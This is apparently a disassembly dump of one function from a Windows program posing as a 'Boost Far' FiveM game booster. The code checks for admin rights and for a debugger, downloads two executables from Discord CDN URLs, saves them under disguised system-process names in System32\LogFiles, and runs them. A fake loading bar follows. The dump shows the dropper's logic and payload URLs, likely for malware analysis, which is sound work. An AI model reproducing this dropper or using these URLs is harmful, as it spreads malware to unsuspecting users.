Function at 0x1400013b0
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
sub rsp, 0x2c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
call fcn.1400010e0
test al, al
jne 0x1400013f3
mov r9d, 0x10
lea r8, str.HighxBoostFar
lea rdx, str.You_need_administrator_privileges_to_run_this_program.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400017db
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000142d
lea rdx, str.Debugger_detected__exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001870
mov eax, 1
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400020d0
add rsp, 0x2c8
ret
lea rdx, str.C:WindowsSystem32LogFiles_setupclnRuntimeBroker.exe
lea rcx, str.https:__cdn.discordapp.com_attachments_1213858147379449968_1213885734390333500_RuntimeBroker.exe_ex65f71a2fis65e4a52fhmf67ca1d9a3a9693f48a1680a8b5da3fe3f53a55784ed7e239fb24669b29931db
call fcn.140001190
test al, al
jne 0x14000144d
lea rdx, str.Failed_to_download_file_n
jmp 0x140001404
lea rdx, str.C:WindowsSystem32LogFiles_setupcln_taskhostw.exe
lea rcx, str.https:__cdn.discordapp.com_attachments_1213858147379449968_1213886876583460884_taskhostw.exe_ex65f71b40is65e4a640hm2f4db220a516a41615627357b89bf44c17ca82a25c35a43d7515f45ff613673d
call fcn.140001190
test al, al
je 0x140001444
mov qword [rsp + 0x2d0], rbx
lea r8, str.C:WindowsSystem32LogFiles_setupclnRuntimeBroker.exe
mov qword [rsp + 0x2e0], rsi
lea rdx, str.open
mov qword [rsp + 0x2e8], rdi
xor r9d, r9d
xor edi, edi
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor r9d, r9d
mov dword [rsp + 0x28], edi
lea r8, str.C:WindowsSystem32LogFiles_setupcln_taskhostw.exe
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rsi, str.FiveM.exe
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001574
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000156b
nop dword [rax + rax]
lea rdx, [rsp + 0x6c]
mov rcx, rdi
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x140001559
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x140001559
add rcx, 2
cmp rcx, 0xa
jne 0x140001510
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rdx, rsi
call fcn.140001c50
mov rcx, rax
lea rdx, str._is_running._n
call fcn.140001c50
jmp 0x1400015c1
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001500
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rdx, rsi
call fcn.140001c50
mov rcx, rax
lea rdx, str._is_not_running._n
call fcn.140001c50
mov r9d, 0x10
lea r8, str.HighxBoostFar
lea rdx, str.Fivem_Not_Running_Pls_Open_Fivem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 2
call fcn.140001e30
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Welcome_To_Boost_Far_By_Highx_n
call fcn.140001870
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 2
call fcn.140001e30
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rsi, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
sub rcx, rsi
cmp rcx, 0x3938700
jge 0x140001791
mov qword [rsp + 0x2d8], rbp
movabs rbp, 0x7fffffffffffffff
mov qword [rsp + 0x2c0], r12
movabs r12, 0x7ffffffffa0a1efe
mov qword [rsp + 0x2b8], r14
movabs r14, 0x346dc5d63886594b
mov qword [rsp + 0x2b0], r15
mov rax, r14
imul rcx
movaps xmmword [rsp + 0x2a0], xmm6
movsd xmm6, qword [0x1400037b0]
movaps xmmword [rsp + 0x290], xmm7
movsd xmm7, qword [0x1400037a8]
lea r15, str.___
mov rbx, rdx
sar rbx, 0xb
mov rax, rbx
shr rax, 0x3f
add rbx, rax
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003498]
call fcn.140001870
mov ecx, edi
and ecx, 0x80000003
jge 0x1400016b4
dec ecx
or ecx, 0xfffffffc
inc ecx
movsxd rdx, ecx
mov rcx, rax
movzx edx, byte [rdx + r15]
call fcn.140001a40
mov rcx, rax
lea rdx, str._Loading...
call fcn.140001870
xorps xmm0, xmm0
mov rcx, rax
cvtsi2sd xmm0, rbx
divsd xmm0, xmm6
mulsd xmm0, xmm7
cvttsd2si edx, xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003484]
call fcn.140001870
lea rcx, [rsp + 0x38]
inc edi
call fcn.140001000
mov rax, qword [rsp + 0x38]
cmp rax, r12
jg 0x140001722
add rax, 0x5f5e100
mov qword [rsp + 0x30], rax
jmp 0x140001727
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x30]
call fcn.140001f70
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
mov rax, r14
sub rcx, rsi
imul rcx
mov rbx, rdx
sar rbx, 0xb
mov rax, rbx
shr rax, 0x3f
add rbx, rax
cmp rbx, 0x1770
jl 0x140001690
movaps xmm7, xmmword [rsp + 0x290]
movaps xmm6, xmmword [rsp + 0x2a0]
mov r15, qword [rsp + 0x2b0]
mov r14, qword [rsp + 0x2b8]
mov r12, qword [rsp + 0x2c0]
mov rbp, qword [rsp + 0x2d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003498]
call fcn.140001870
mov rcx, rax
lea rdx, str.Done_
call fcn.140001870
lea rdx, [0x140001c10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rsp + 0x2e8]
mov rsi, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2d0]
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400020d0
add rsp, 0x2c8
ret